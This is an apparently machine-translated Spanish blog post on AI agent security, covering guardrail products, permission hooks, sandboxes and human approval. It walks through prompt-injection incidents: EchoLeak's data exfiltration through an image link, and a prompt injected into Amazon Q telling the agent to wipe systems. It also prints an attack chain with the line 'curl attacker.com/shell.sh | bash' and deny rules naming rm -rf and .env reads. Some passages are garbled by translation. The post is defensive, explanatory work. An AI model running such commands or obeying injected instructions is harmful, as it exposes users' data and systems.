Edge of Context
Buscar

· Actualizado

[!NOTE] Traducción automática Este artículo se tradujo automáticamente a partir de la versión original en inglés.

AI Seguridad de agentes en 2026: marcos de control, permisos, Sandboxes y amenazas MCP

Parte 4 de la serie de ingeniería de la pila Agentic

Parte 3 Se produce al llegar al límite del herramienta: el modelo propone una acción y la herramienta devuelve una observación. Este artículo intercala una política entre estos dos eventos y extiende dicha acción a credenciales, archivos, redes y efectos secundarios externos.

AI la seguridad de agentes es más amplia que LLM Seguridad. Las primeras soluciones de tipo “guardrail” inspeccionaban la entrada y la salida de cada llamada al modelo. Estas herramientas podían filtrar texto tóxico, censurar datos personales, bloquear intentos de evasión y rechazar respuestas fuera de tema. Dicho límite resultaba útil mientras el modelo solo era capaz de devolver texto.

Los bucles de herramientas permiten integrar sistemas de archivos, shells, servidores MCP y credenciales. Esto amplió el modelo de amenazas, pasando de considerar únicamente texto inseguro a acciones también inseguras. Los seis incidentes analizados a continuación no fueron fallos que un filtro de salida más eficaz pudiera evitar, ya que el sistema en su conjunto ya se había visto comprometido.

TL;DR: Los filtros de contenido analizan el texto que rodea a una llamada al modelo. La seguridad de los agentes también regula las acciones propuestas por tool calls, las credenciales, los archivos, el acceso a la red y los efectos secundarios irreversibles. Los incidentes descritos en este artículo tuvieron lugar fuera de los límites que puede imponer un filtro de texto. Una solución práctica consiste en combinar permisos, complementos previos a la ejecución de herramientas, sandboxes del sistema operativo, escalado humano, credenciales con alcance limitado y un registro de auditoría.

AI pilera de seguridad para agentes

La arquitectura práctica para 2026 no consiste en una única restricción. Se trata de un conjunto de límites que delimitan el ciclo de ejecución.

CapaQué controlaEjemplo de fallo que detecta
Filtros de contenidoTexto de entrada y salida no seguroSalida tóxica, fuga de PII, completaciones que violan las políticas
Escala de permisos¿Qué herramientas, rutas, APIs y ámbitos puede utilizar el agente?Un resumidor que intenta escribir en sistemas de producción
Hook de política previa a la herramientaSi esta acción específica debe ejecutarse ahoraComando de shell generado a partir de contenido recuperado no fiable
SandboxQué puede interactuar la herramienta en las capas de sistema operativo y redExtracción de archivos, compromiso de dependencias, inyección de comandos
Puerta humanaAcciones irreversibles o de alto impactoEnviar correos electrónicos, transferir fondos, desplegar en producción
MCP y alcance de tokensPara qué servidor y público son válidas las credencialesReutilización de tokens en un servidor de herramientas no previsto
Rastro de auditoría¿Qué sucedió, quién lo aprobó y por qué?Investigación de incidentes tras un largo período de ejecución autónoma

La regla de utilidad es sencilla: los filtros de contenido determinan si el modelo ha dicho algo inseguro; la seguridad del agente decide si al sistema se le permite realizar la siguiente acción.

Los filtros de contenido gestionados se encargan de la capa de texto. Los controles restantes corresponden a la política de la aplicación, a la gestión de identidades e infraestructura.

Por qué la seguridad de los agentes AI es diferente de la seguridad LLM

Bharani Subramaniam y Martin Fowler establecieron los fundamentos a principios de 2025 en Patrones emergentes en el desarrollo de productos de GenAI. Su observación fue limitada y directa:

“En los sistemas tradicionales, podíamos evaluar la corrección principalmente mediante pruebas… En los sistemas basados en LLM, nos encontramos con un sistema que ya no se comporta de forma determinista.”

La evaluación de resultados determina si la respuesta de un modelo cumple con una rúbrica específica. Un modelo de amenazas para agentes debe abarcar asimismo tool calls, comandos de shell, escritura en archivos, credenciales y solicitudes de red. Dichas acciones trascienden los límites que un evaluador de salidas no puede imponer.

LLM Las “guardrails” envuelven una llamada al modelo, mientras que los “agent guardians” rodean el bucle.

Simon Willison acuñó la forma del riesgo específico del agente en junio de 2025 con el trifecta letal:

La tríada letal de capacidades es la siguiente: acceso a tus datos privados; exposición a contenido no fiable; y la posibilidad de comunicarse con el exterior de forma que pueda utilizarse para robar dichos datos. Si tu agente combina estas tres funcionalidades, un atacante puede engañarlo fácilmente para que acceda a tus datos privados y los envíe a dicho atacante.

Muchos agentes útiles combinan estas capacidades: acceso a la bandeja de entrada, recuperación de información desde la web y una herramienta de mensajería; o acceso a repositorios, lectura de incidencias y escritura de solicitudes de integración. Una barrera de seguridad para el contenido verifica si el modelo ha generado texto inseguro. La estrategia de triple control, por su parte, comprueba si una entrada no fiable puede hacer que el sistema divulgue datos mediante una acción permitida.

La tríada letal

La versión estructural del mismo argumento se encuentra en el preprint Parallax de Joel Fokou (arXiv 2604.12986, Presentado el 14 de abril de 2026 (aún no ha sido revisado por pares). La afirmación principal:

“El sistema que razona sobre acciones debe ser estructuralmente incapaz de ejecutarlas, y el sistema que ejecuta acciones debe ser estructuralmente incapaz de razonar sobre ellas, existiendo un validador independiente e inmutable interpuesto entre ambos.”

No es necesario aceptar los valores de evaluación del artículo para analizar su estructura. Varios frameworks actuales implementan partes de la misma separación:

Estos sistemas mantienen el juicio del modelo detrás de un límite de ejecución determinista. Los controles específicos varían, pero el componente que ejecuta una orden no depende de la opinión del modelo sobre si dicha orden es segura.

Existe una disciplina complementaria que Alessandro Pignati definió de la manera más precisa en Enero de 2026: El Principio de Menor Agencia. El principio de menor privilegio se pregunta ¿qué puede acceder esta identidad?; en cambio, el principio de menor agencia plantea la pregunta ¿qué puede decidir este agente?. Mientras que los privilegios limitan las credenciales, la agencia restringe el alcance de las acciones que un agente puede llevar a cabo, incluso cuando dichas credenciales son válidas. La lista OWASP’s Top 10 para aplicaciones Agentic considera la agencia excesiva como una de las diez fallas principales de categoría. El principio de menor agencia constituye la disciplina de diseño necesaria para evitar este problema. Un agente capaz de resumir el contenido de tu bandeja de entrada probablemente no necesita derechos de compromiso en tu monorepo; sin embargo, seguimos encontrando configuraciones en las que sí los posee.

Qué cubren las directrices de LLM

LLM Las reglas de control desempeñan una función esencial alrededor de la llamada al modelo. Estas analizan la entrada, el texto recuperado y la salida, y luego bloquean, censuran, corrigen o marcan como problemático aquel contenido que incumple una regla predefinida. Los productos que se detallan a continuación difieren en cuanto a su forma de implementación y alcance, pero ninguno sustituye a la comprobación de autorización que se ejecuta antes de un tool call.

Límites de seguridad de NVIDIA NeMo

El más rígido en cuanto a especificaciones: una orquestación framework que abarca cinco tipos de flujos (entrada, diálogo, recuperación de información, ejecución y salida), con su propio DSL —Colang, un lenguaje similar a Python destinado a gestionar flujos de diálogo, intenciones de usuario y mensajes de bots. Es posible gestionar las funcionalidades básicas desde Python + YAML, pero la lógica de diálogo más compleja se escribe en Colang; de ahí su carácter “rígido”. Documentación en docs.nvidia.com/nemo/guardrails.

from nemoguardrails import LLMRails, RailsConfig

config = RailsConfig.from_path("./config")
rails = LLMRails(config)
response = rails.generate(
    messages=[{"role": "user", "content": "Hello"}]
)

NeMo’s repositorio Soy explícito respecto a su modelo de amenazas: “vulnerabilidades comunes LLM, como fugas de prisión y inyecciones prompt”. También lo es en cuanto a su alcance: “Las medidas de protección integradas pueden ser adecuadas o no para un caso de uso en producción concreto… los desarrolladores deben colaborar con su equipo interno de aplicaciones para garantizar que dichas medidas cumplan con los requisitos”. En la práctica, esto significa que NeMo supervisará lo que dice el modelo. Lo que hace el agente (qué herramientas llama, qué argumentos pasa y qué lee del sistema de archivos) depende de usted.

Meta Llama Guard 4

Un clasificador de contenido puro de 12 mil millones de parámetros, obtenido mediante poda de Llama-4-Scout y alineado con la taxonomía de riesgos MLCommons (13 categorías de daño además del abuso por interpretación de código, según lo establecido) tarjeta de modelo). Meta es excepcionalmente franca respecto a sus limitaciones:

“Algunas categorías de riesgo pueden requerir conocimientos precisos y actualizados para poder ser evaluadas de forma completa… Por último, como LLM, Llama Guard 4 podría ser vulnerable a ataques adversariales o ataques prompt injection que podrían eludir o modificar su uso previsto: consulte Llama Prompt Guard 2 para detectar ataques prompt.”

Meta lanza un producto independiente para proteger su clasificador de contenido contra prompt injection. Si esa frase suena a una admisión técnica, así es en efecto.

Límites de seguridad AI

Un registro de validadores. Puede compilar más de 60 validadores de Hub (información personal a través de Presidio, JailbreakDetect, CompetitorCheck y verificaciones de procedencia), cada uno con modos de fallo predefinidos. raise | fix | filter | refrain | reask | noop (guardrailsai.com). No existe un modelo de amenazas unificado; el nivel de cobertura equivale a la unión de los validadores instalados. Ventaja: se dispone de una cobertura flexible según los validadores que se elijan. Desventaja: no hay protección alguna fuera de los validadores que se hayan instalado.

Lakera Guard

El SaaS actual API, entrenado con decenas de millones de muestras de ataques recopiladas desde Gandalf. Promesas para filtrar la entrada y salida en busca de “prompt “Ataques… y fugas de datos”. La versión gratuita permite 10.000 solicitudes al mes; los precios para entornos empresariales, en cambio, no son transparentes.

Límites de seguridad de AWS Bedrock

La opción predeterminada para entornos empresariales si ya se está utilizando Bedrock. ApplyGuardrail Funciona con cualquier modelo, sea Bedrock o no:

import boto3

brt = boto3.client("bedrock-runtime")
resp = brt.apply_guardrail(
    guardrailIdentifier="gr-xxxxxxxxxxxx",
    guardrailVersion="2",
    source="INPUT",
    content=[{"text": {"text": "user question",
                        "qualifiers": ["guard_content"]}}],
)

Publicado precios: 0,15porcada1.000unidadesdetextoparafiltrosdecontenidootemasdenegados,y0,15 por cada 1.000 unidades de texto para filtros de contenido o temas denegados, y 0,10 para filtros de PII o anclaje contextual. Una unidad de texto corresponde a un máximo de 1.000 caracteres.

Seguridad de contenido en Azure AI

Envía Prompt Shields como un endpoint unificado que “detecta y bloquea ataques por entrada de usuario adversaria… amenazas directas e indirectas”. Azure también candido: “No es posible utilizar la seguridad de contenido de Azure AI para detectar imágenes ilegales de explotación infantil”, y la calidad multilingüe está limitada a ocho idiomas evaluados.

Moderación de OpenAI y límites de OpenAI

omni-moderation-latest Se trata de la línea de base multimodal gratuita. Por separado, openai-guardrails-python documentación en guardrails.openai.com) ¿Es la solución de OpenAI, framework, un pipeline de tres fases (pre-vuelo, entrada y salida) que incluye detección de fugas de seguridad, detección de alucinaciones mediante FileSearch, control de contenido inapropiado y datos personales identificables con Presidio, además de LLM como árbitro? GuardrailAgent Conecta los cables a los agentes SDK.

from guardrails import GuardrailsOpenAI, GuardrailTripwireTriggered

client = GuardrailsOpenAI(config="guardrail_config.json")
try:
    resp = client.responses.create(model="gpt-5", input="...")
except GuardrailTripwireTriggered as e:
    print(f"blocked: {e}")

El límite común

Dos observaciones que son aplicables a los siete en total.

En primer lugar, los datos publicados sobre latencia y ancho de banda son muy escasos. Bedrock, Azure y Lakera divulgan sus precios, pero no ofrecen garantías respecto a la latencia en los casos más extremos. Meta tampoco proporciona ninguna garantía relacionada con los puntos de conexión alojados para Llama Guard. NVIDIA distribuye NeMo Guardrails como software que el usuario debe alojar por su cuenta, por lo que la latencia depende del modelo y de la infraestructura utilizados. Es necesario medir cada verificación síncrona en la ruta crítica, en lugar de inferir su costo a partir de los precios del producto.

En segundo lugar, y este es el objetivo principal de esta publicación, ninguno de estos productos afirma abarcar la política de capa de llamadas a herramientas, la autenticación con MCP, la extracción de datos en múltiples pasos a través del contenido recuperado, el secuestro de los objetivos del agente mediante archivos de configuración, ni la ejecución de código que tenga lugar antes incluso de que se invoque el modelo. Estos sistemas solo filtran tokens. Los agentes operan fuera del flujo de generación del modelo, en la tool calls, los archivos y la red, zonas donde ningún clasificador de tokens puede detectarlos.

AI amenazas de seguridad en agentes: seis incidentes y el OWASP ASI Top 10

A mediados de 2025, la brecha que existe entre el filtrado de texto y la protección de la ejecución dejó de ser un tema puramente teórico. Los seis incidentes que se detallan a continuación afectaron a las operaciones de recuperación de datos, configuración, credenciales, instalación de paquetes o ejecución en entornos CI. Un clasificador de contenido puede seguir detectando cadenas de texto sospechosas, pero los controles que bloquean directamente estas vías se encuentran en las herramientas utilizadas, en los sistemas de identidad, en sandbox y en las fronteras de la cadena de suministro.

EchoLeak — CVE-2025-32711, CVSS 9.3

Revelado por Aim Labs en junio de 2025 contra Microsoft 365 Copilot; el informe técnico correspondiente se encuentra actualmente alojado en Cato Networks —que absorbió al equipo de investigación de Aim Security— y está firmado por Itay Ravia, exdirector de Aim Labs.descripción detallada). Un correo electrónico cuidadosamente redactado, formulado como instrucciones dirigidas al destinatario humano, logró eludir a XPIA (el filtro integrado de Microsoft que busca ataques de inyección prompt en las entradas de Copilot). A partir de ahí, fue introducido en la capa de recuperación de Copilot —la parte del sistema que busca en tus documentos el contexto necesario para generar respuestas— mediante una técnica que los investigadores denominan RAG-spraying: el atacante coloca la misma instrucción maliciosa en numerosos documentos indexados, de modo que es casi seguro que la recuperación incluya al menos uno de ellos en el contexto del modelo. Una vez dentro, Copilot incrustó obedientemente los datos más sensibles de la sesión en un enlace de Markdown que apuntaba a una imagen en un dominio controlado por el atacante. La vista previa de Teams API, que se ejecuta en un dominio ya considerado fiable según las políticas de navegador de Microsoft, cargó automáticamente esa URL de imagen y, con ello, entregó los datos al atacante. Sin necesidad de hacer clics. Aim Labs bautizó a este tipo de ataques como “LLM Scope Violation”: el modelo traspasa un límite que nunca debió cruzar, utilizando únicamente operaciones que cada sistema considera legítimas.

Cada paso parecía legítimo por separado. El correo electrónico iba dirigido a un humano. La operación de recuperación obtuvo el documento que debía obtener. El enlace en formato Markdown se mostró tal como se muestran los enlaces en ese formato. La solicitud de carga de la imagen llegó a un dominio incluido en la lista de permisos. XPIA no tenía nada que señalar, ya que nada, por sí solo, era motivo de alerta. El sistema estaba comprometido. Pero el modelo, no.

Amazon Q Developer para VS Code v1.84.0 — Julio de 2025

AWS distribuyó una versión comprometida tras el hecho de que un atacante introdujera un archivo malicioso-prompt mediante un token de CodeBuild en GitHub con permisos excesivos.recomendación). El comando prompt inyectado indicó al agente que “limpiara un sistema hasta alcanzar un estado casi similar al de fábrica y eliminara los recursos del sistema de archivos y en la nube”. Un error de sintaxis impidió su ejecución en las ~950,000 instalaciones. AWS revocó las credenciales, eliminó el código y lanzó la versión v1.85.0. La carga útil falló debido a un error de sintaxis, y no porque algún mecanismo de control de seguridad lo bloqueara.

Servidor Azure MCP — CVE-2026-32211, CVSS 9.1

El ejemplo más evidente de la capa incorrecta. feed de CVE Lo registra como “Falta autenticación para la función crítica en el servidor Azure MCP, lo que permite a un atacante no autorizado divulgar información a través de la red.” El MCP SDK no dispone de autenticación integrada; este servidor olvidó implementarla. Nunca se activa ningún filtro de contenido, ya que el modelo no interviene en el proceso. El atacante puede comunicarse directamente con la herramienta.

Claude Code CVE-2025-59536 — CVSS 8.7

La vulnerabilidad canónica de confianza en la configuración del agente. Aviv Donenfeld y Oded Vanunu de Check Point divulgado que “configuraciones definidas por el repositorio mediante” .mcp.json y .claude/settings.json Los archivos podrían ser explotados por un atacante para anular la aprobación explícita del usuario… al establecer el enableAllProjectMcpServers La opción se establece en true.

La cadena de ataques merece ser analizada con detenimiento:

  1. La víctima clona un repositorio no fiable.
  2. Un SessionStart Se ejecuta el gancho. curl attacker.com/shell.sh | bash El texto se muestra _antes de que aparezca el diálogo de confianza de Claude Code.
  3. .mcp.json Aproba automáticamente servidores no confiables MCP.
  4. ANTHROPIC_BASE_URL (El CVE asociado, CVE-2026-21852, con una puntuación CVSS de 5.3), redirige de forma silenciosa todas las llamadas a Claude API, incluidos los tokens Bearer, hacia un host controlado por el atacante.

Corregido en Claude Code 1.0.111 y 2.0.65 respectivamente (recomendación). GHSA-ph6w-f82w-28w6). El resumen de Check Point es el que hay que recordar: “las defensas tradicionales prompt injection… no ofrecen ninguna protección.” El código del atacante se ejecuta en su máquina (lo que los especialistas en seguridad denominan ejecución remota de código, o RCE) antes incluso de que se invoque el modelo.

Axios 1.14.1 — 31 de marzo de 2026

Responsable del mantenimiento jasonsaayman En el análisis posterior al incidente: “Se publicaron dos versiones maliciosas de axios (1.14.1 y 0.30.4) en el registro npm a través de mi cuenta comprometida. Ambas versiones inyectaron una dependencia denominada” plain-crypto-js@4.2.1 “que instaló un troyano de acceso remoto en macOS, Windows y Linux”. Un troyano de acceso remoto es un malware que abre silenciosamente una puerta trasera, lo que permite al atacante ejecutar comandos, leer archivos y vigilar lo que se escribe desde cualquier otro lugar de Internet. Período de exposición: aproximadamente tres horas. Atribución: UNC1069 (Sapphire Sleet), según el grupo de inteligencia ante amenazas de Google. Cada agente de programación que sucedió en ejecutarse npm install Dentro de esa ventana se introdujo la puerta trasera. El modelo nunca estuvo involucrado. En este tipo de incidentes, la causa del fallo radica en la ejecución de la cadena de suministro, y no en el comportamiento del modelo.

Secuestro de etiquetas de acciones de Trivy — GHSA-69fq-xp46-6x23, 19 de marzo de 2026

Un atacante reescribió 76 de las 77 etiquetas de versión en aquasecurity/trivy-action — el repositorio que innumerables sistemas de integración continua pipelines utilizan para la detección de vulnerabilidades de seguridad — de modo que las etiquetas apuntaban ahora a malware dedicado al robo de credenciales en lugar del código real de Trivy. Reemplazaron las 7 etiquetas existentes. setup-trivy De la misma manera, y se envió un v0.69.4 binario que recopilaba variables de entorno (contraseñas, claves API, tokens: los datos contenidos en /proc/<pid>/environ en Linux), directamente desde los ejecutores de GitHub ActionsAdvertencia de Aqua). Cualquier agente de programación que se ejecute npm install o bien un paso de análisis de seguridad ejecutado automáticamente durante ese período hizo que se activara el payload, ya que los agentes confían en las etiquetas de la misma manera que lo hacen los humanos, es decir, por completo.

La edición 2026 de los 10 principales riesgos de OWASP ASI

OWASP (el Proyecto Abierto Mundial de Seguridad de Aplicaciones, la organización sin ánimo de lucro responsable de la lista canónica de las 10 vulnerabilidades web que sirven de referencia para la mayoría de los programas de seguridad) ya había previsto esta situación. Su Iniciativa de Seguridad Agentic es un grupo de trabajo dedicado específicamente a los agentes impulsados por LLM, y el 9 de diciembre de 2025 publicó el Agentic Las 10 iniciativas de seguridad más importantes para 2026: Un catálogo ordenado de las diez categorías de vulnerabilidad que diferencian a los sistemas de agente de las aplicaciones clásicas LLM.

Vale la pena leer esta lista con calma. Se basa en los puntos en los que se han concentrado los incidentes del mundo real, comparándolos con los modos de fallo más críticos que la comunidad de seguridad en general identifica en las implementaciones de agentes en producción. Considérela como una lista de verificación de lo que un modelo de amenazas para agentes modernos debe abarcar:

Los 10 principales riesgos de OWASP ASI para 2026

Los filtros de contenido pueden contribuir a los problemas ASI01 y ASI06. Las categorías restantes requieren controles en materia de identidad, políticas de herramientas, gestión de memoria, orquestación, monitoreo o gestión de la cadena de suministro. EchoLeak se corresponde con ASI01. Amazon Q se relaciona con ASI04 y ASI02. Azure MCP corresponde a ASI03. El problema Claude Code CVE-2025-59536 afecta a ASI05, ASI04 y ASI03. Axios y Trivy pertenecen a la categoría ASI04. Esta relación muestra por qué el modelo de amenazas debe extenderse más allá de las entradas y salidas del modelo.

El permiso es una infraestructura, no prompt

En esta fase, las directrices de seguridad dejan de considerarse un producto independiente para convertirse en un subsistema dentro de un harness. Tres sistemas disponibles en abril de 2026 (OpenAI Agents SDK, Codex CLI y Claude Code) ilustran cómo es en la práctica la interfaz de gestión de políticas en entornos de producción. Todos ellos aplican controles de permisos mediante código, sin depender para ello de que el modelo actúe con precaución.

Agentes de OpenAI SDK

El SDK separa harness de compute. Las herramientas alojadas en MCP se encargan de require_approval — una cadena de texto"always" / "never") o un diccionario por herramienta, además de uno on_approval_request ¡Callback que se dispara cuando una herramienta está bloqueada! Filtrado de herramientas a nivel fino.tool_filter) está disponible en las variantes del servidor local.MCPServerStdio, MCPServerStreamableHttp, MCPServerSse) si lo necesita:

from agents import Agent, HostedMCPTool

agent = Agent(
    name="Ops",
    tools=[HostedMCPTool(
        tool_config={
            "type": "mcp",
            "server_label": "github",
            "server_url": "https://mcp.example.com",
            "require_approval": {"delete_repo": "always",
                                  "list_issues": "never"},
        },
        on_approval_request=lambda r:
            "approve" if r.tool_name == "list_issues" else "reject",
    )],
)

La función de callback de aprobación es código. La política de aprobación por herramienta también es código. Puedes leer este archivo, probarlo y realizar comparaciones entre versiones. Nada de esto aplica a un system prompt que indica “por favor, tenga cuidado con el entorno de producción”.

Codex CLI y la capa de políticas gestionadas

El lenguaje de programación harness de OpenAI incluye un configuración gestionada archivo que los departamentos de TI distribuyen a los Mac de los empleados a través de su sistema de gestión de dispositivos (el mismo mecanismo que utilizan para instalar certificados o configuraciones de VPN). El archivo se encuentra en /etc/codex/requirements.toml y funciona como una capa de restricción estricta: reglas que los parámetros a nivel de proyecto no pueden anular, independientemente de lo que escriba un desarrollador en su propia configuración:

[[rules.prefix_rules]]
pattern = [{ token = "rm" }, { any_of = ["-rf", "-fr"] }]
decision = "forbidden"
justification = "Recursive force-delete prohibited by IT policy"

Dos detalles de diseño. prefix_rules.decision solo acepta "prompt" o "forbidden", nunca "allow". Un proyecto no puede otorgarse a sí mismo una permisión que la capa gestionada prohíba. Además, las listas de permisos MCP se indexan tanto por nombre como por identidad (cadena de comandos o URL), por lo que un proyecto no puede pretender ser github-mcp y apuntar al servidor del atacante.

La jerarquía de permisos de Claude Code

Claude Code publica un orden de evaluación de seis etapas para cada tool call (documentación): deny → ask → PreToolUse hooks → allow → mode → canUseTool. Los hooks tienen prioridad sobre los modos, y un permissionDecision: "deny" Desde un hook, se bloquea la ejecución incluso bajo bypassPermissions.

Orden de evaluación de permisos en Claude Code

Los modos realizan un ciclo. default → acceptEdits → plan con Mayús+Tab. auto, bypassPermissions, y dontAsk Se activa bajo condiciones de entrada específicas que la capa de políticas gestionada por la empresa puede bloquear. Esto va más allá de simplemente verificar la corrección de un archivo de configuración; se trata de una máquina de estados con reglas de precedencia, publicadas para que el equipo de seguridad pueda razonar sobre ellas.

Tres radios de explosión en un único archivo

He aquí la estructura de una configuración de permisos al estilo Codex que incluye tres perfiles:

# ~/.codex/config.toml
approval_policy = "auto"
sandbox_mode = "workspace-write"

[profiles.ci]
approval_policy = "read-only"
sandbox_mode = "read-only"

[profiles.release]
approval_policy = "full-access"
sandbox_mode = "workspace-write"

[mcp_servers.github]
command = "gh-mcp"
args = ["--readonly"]

Tres perfiles, tres radios de explosión, y ningún prompt que indique al agente que tenga cuidado. Si el agente intenta realizar alguna acción fuera de su perfil, el mecanismo de control a nivel de sistema operativo sandbox lo impide. En macOS se emplean sistemas de seguridad como seatbelt, en Linux se combinan bubblewrap con seccomp, y en Windows se utilizan tokens restringidos. La opinión del modelo no influye en esta decisión.

La aplicación de Sandbox es una cuestión relacionada con el SO

El núcleo es el que realiza el trabajo real en este caso. Cada sistema operativo pone a disposición un conjunto de herramientas distinto, y las dos CLI no siempre acceden a la misma componente:

PlataformaClaude CodeCodex CLI
macOSCinturón de seguridad vía sandbox-exec con un perfil SBPL (Seatbelt Profile Language)¡Correa de seguridad vía sandbox-exec -p
Linuxproxy de red bubblewrap + socatbubblewrap + seccomp (Landlock heredado vía use_legacy_landlock)
WindowsSe requiere WSL2.Tokens nativos restringidos / AppContainer + ACL + identificadores de SID de capacidades

Están de acuerdo en los casos en que el SO ofrece una única opción (cinturón de seguridad o envoltura blanda) y difieren en los escenarios en que no lo hace. Claude Code omite Windows y redirige al usuario hacia WSL2. Por su parte, Codex incluye una versión nativa para Windows sandbox. En cualquier caso, la aplicación de estas reglas tiene lugar en el kernel, y no en el modelo.

La ruta de Linux de Codex utiliza cuatro bloqueos a nivel de kernel: PR_SET_NO_NEW_PRIVS (el proceso nunca puede obtener privilegios adicionales, incluso si lo intenta); un filtro seccomp (el núcleo rechaza de forma directa la mayoría de las llamadas al sistema; en este caso, cualquier operación que abra un socket de red distinto a los Unix locales); un entorno aislado completamente nuevo /proc (el proceso no puede acceder al resto de la máquina), y RLIMIT_CORE=0 (No hay volcados de memoria por fallos, por lo que nada se filtra por ese medio). Windows funciona en dos modos. unelevated (un proceso con tokens restringidos que pierde privilegios pero sigue ejecutándose como el usuario) y elevated (a un usuario dedicado sandbox aislado detrás de las reglas del firewall), además de pequeños ejecutables falsos colocados previamente en el sistema PATH Por lo tanto, el agente intenta ejecutarse. curl o wget El sistema impacta en el interceptor en lugar de en la herramienta real. Existe toda una subdisciplina de ingeniería dedicada a esto, y el modelo nunca interviene en el proceso. Ahí es donde se realiza el verdadero trabajo.

Opciones de aislamiento además de Claude Code y Codex

Si estás desarrollando tu propio agente, “sandbox” resulta ser un término genérico que engloba a todas estas soluciones. Las opciones de código abierto se distribuyen en un espectro: por un lado, existen envoltorios de nombres de espacio ligeros; por el otro, microVMs completas. La elección que realices depende del grado de confianza que tengas en el código que se ejecuta en su interior.

Aislamiento de luz: el mismo núcleo, menos privilegios:

Aislamiento entre la aplicación y el kernel: el agente se comunica con un kernel ficticio:

Aislamiento total de la VM: un kernel dedicado por sandbox:

Plataformas: lo que alquilarías en lugar de desarrollar:

Elige el nivel de aislamiento en función del nivel de confianza del código, los límites por arrendatario, el acceso a la red, los datos del host y el costo de recuperación. Los controles basados en namespaces y seccomp son adecuados para las herramientas internas de confianza. El código generado por LLM y los paquetes no fiables requieren un límite de seguridad más estricto, como gVisor, Kata o una microVM, seguido de pruebas dirigidas a los caminos de escape y exfiltración dentro de tu propio modelo de amenazas.

Claude Code y Codex se eligen del mismo menú que todos los demás. Simplemente lo presentan de forma diferente.

Ganchos PreToolUse como políticas programables

Los modos y las listas de permisos se encargan de los casos sencillos: “permitir que el agente edite archivos pero no ejecute bash”, “denegar todo aquello que se parezca a” rm -rf”Fallan cuando la política necesita lógica real. Si deseas bloquear” git push ¡Solo cuando la rama sea! main. Desea denegar cualquier edición que afecte a un archivo que coincida con una expresión regular secreta. También quiere aplicar límites de frecuencia a las llamadas a la shell por sesión, o redirigir cada invocación de herramienta hacia su registro de auditoría central (el SIEM, es decir, el sistema de gestión de información y eventos de seguridad que ya utiliza su equipo de seguridad).

Nada de eso cabe en una lista de permisos estática. Para eso sirven los hooks: comandos de shell que Claude Code ejecuta en momentos concretos del ciclo de vida de las llamadas a la herramienta, con la capacidad de inspeccionar la llamada pendiente y devolver una respuesta estructurada que indique si se permite o se deniega el acceso. Claude Code expone una docena de eventos de ciclo de vida (la lista completa se encuentra en la documentación), y uno de ellos reordena todo lo demás: un PreToolUse gancho que devuelve permissionDecision: "deny" Bloquea una herramienta independientemente del modo en el que se encuentre.

Así es la estructura de los parámetros:

{
    "permissions": {
        "defaultMode": "acceptEdits",
        "deny": ["Bash(rm -rf:*)", "Bash(sudo:*)", "Read(.env*)"]
    },
    "hooks": {
        "PreToolUse": [
            {
                "matcher": "Bash",
                "hooks": [
                    {
                        "type": "command",
                        "command": ".claude/hooks/pre-bash-firewall.sh"
                    }
                ]
            },
            {
                "matcher": "Edit|Write",
                "hooks": [
                    {
                        "type": "command",
                        "command": ".claude/hooks/protect-paths.sh"
                    }
                ]
            }
        ]
    }
}

Un gancho puede ser un script shell de cinco líneas o un motor de políticas completo. Lo que realmente importa es la forma en que se devuelve el resultado:

{
    "hookSpecificOutput": {
        "permissionDecision": "deny",
        "permissionDecisionReason": "writes outside workspace prohibited"
    }
}

El modelo recibe una denegación estructurada. El reasoning loop proveniente de Parte 1 Lo maneja como cualquier otra observación de herramienta: la denegación se convierte en contexto, el agente vuelve a planificar y el bucle continúa. Esta es la razón, pequeña pero importante, por la que insisto una y otra vez en que los permisos son infraestructura. Están integrados en el mismo mecanismo que gestiona los errores 500 de las herramientas HTTP. No se trata de un flujo de trabajo de seguridad separado que haya que añadir posteriormente.

Un patrón anti‑típico muy frecuente consiste en escribir una system prompt que indique “no elimine ningún archivo sin la confirmación explícita del usuario”, enviar el agente y confiar en dicha instrucción como mecanismo de control. Un prompt o los resultados corruptos de una herramienta pueden eludir esa instrucción. El modelo no es un motor de políticas; simplemente puede coincidir con el patrón que usted haya escrito o con uno proporcionado por un atacante.

La aprobación humana funciona únicamente como mecanismo de escalada

La capa de filtrado de contenido se ejecuta en paralelo con el modelo y supervisa lo que este dice. Las escaleras de permisos operan antes de la herramienta y controlan qué intenta hacer. La tercera capa, aquella que detecta lo que las dos primeras pasan por alto, es el humano. Cuando se implementa correctamente, el HITL funciona como un canal de escalada; sin embargo, si no se hace bien, se convierte en un cuadro de diálogo al que se hace clic en el 93 % de los casos.

LangGraph proporciona la primitiva de pausa/reanudación. HumanLayer encapsula el canal de aprobación, y los datos de uso de Anthropic demuestran por qué es necesario medir tanto la cantidad como la calidad de las escalaciones.

El primitivo de LangGraph

LangGraph’s interrupt() + Command(resume=value) Detiene un grafo, persiste su estado mediante el checkpointer configurado y reanuda su ejecución con un valor proporcionado por el usuario. Tres detalles de ejecución determinan si dicha reanudación es segura:

“Cuando se reanuda la ejecución (después de que se proporcione la entrada solicitada), el runtime reinicia todo el nodo desde cero; no continúa desde la línea exacta donde se interrumpió.” interrupt se denominó.

De ese comportamiento de reinicio se derivan tres restricciones:

1. Efectos secundarios previos interrupt() Debe ser idempotente.** Cuando el usuario responde, todo el nodo se ejecuta de nuevo desde el principio, y no desde… interrupt() línea. Por lo tanto, si su nodo envía un correo electrónico, se detiene a la espera de aprobación y luego devuelve “enviado”, al reanudarse el proceso el correo se envía una segunda vez. Solución: colocar los efectos secundarios después de la interrupción, o hacer que sean seguros para repetirse (eliminar duplicados, utilizar operaciones upsert en lugar de insert, almacenar en caché por el ID del mensaje).

2. Las interrupciones se corresponden con las reanudaciones por índice, no por nombre. Si un único nodo cuenta con dos interrupt() llamadas; LangGraph las empareja con Command(resume=...) Los valores en el orden en que se generan. Cualquier ramificación que modifique la cantidad de interrupciones ejecutadas (un if Eso, que salta un elemento en el recorrido —es decir, un bucle que se ejecuta una cantidad distinta de veces—, provocará un desalineamiento de los índices y causará una caída del programa.

3. Los payloads deben ser JSON-serializables. La información de pausa se almacena en un checkpointer (Postgres, Redis, SQLite) para que el agente pueda seguir funcionando tras un reinicio del proceso. Los objetos Python en bruto, datetime, set, clases personalizadas: sin esas idas y venidas. Conviértelas en diccionarios y tipos primitivos antes de pasar cualquier dato a interrupt().

Los tres patrones canónicos:

# (a) Approval gate
@tool
def send_email(to, subject, body):
    resp = interrupt({"action": "send_email", "to": to,
                      "subject": subject, "body": body})
    if resp.get("action") == "approve":
        return smtp_send(to, subject, body)
    return "Email cancelled"

# (b) Edit-and-continue
def review_node(state):
    edited = interrupt({"content": state["generated_text"]})
    return {"generated_text": edited}

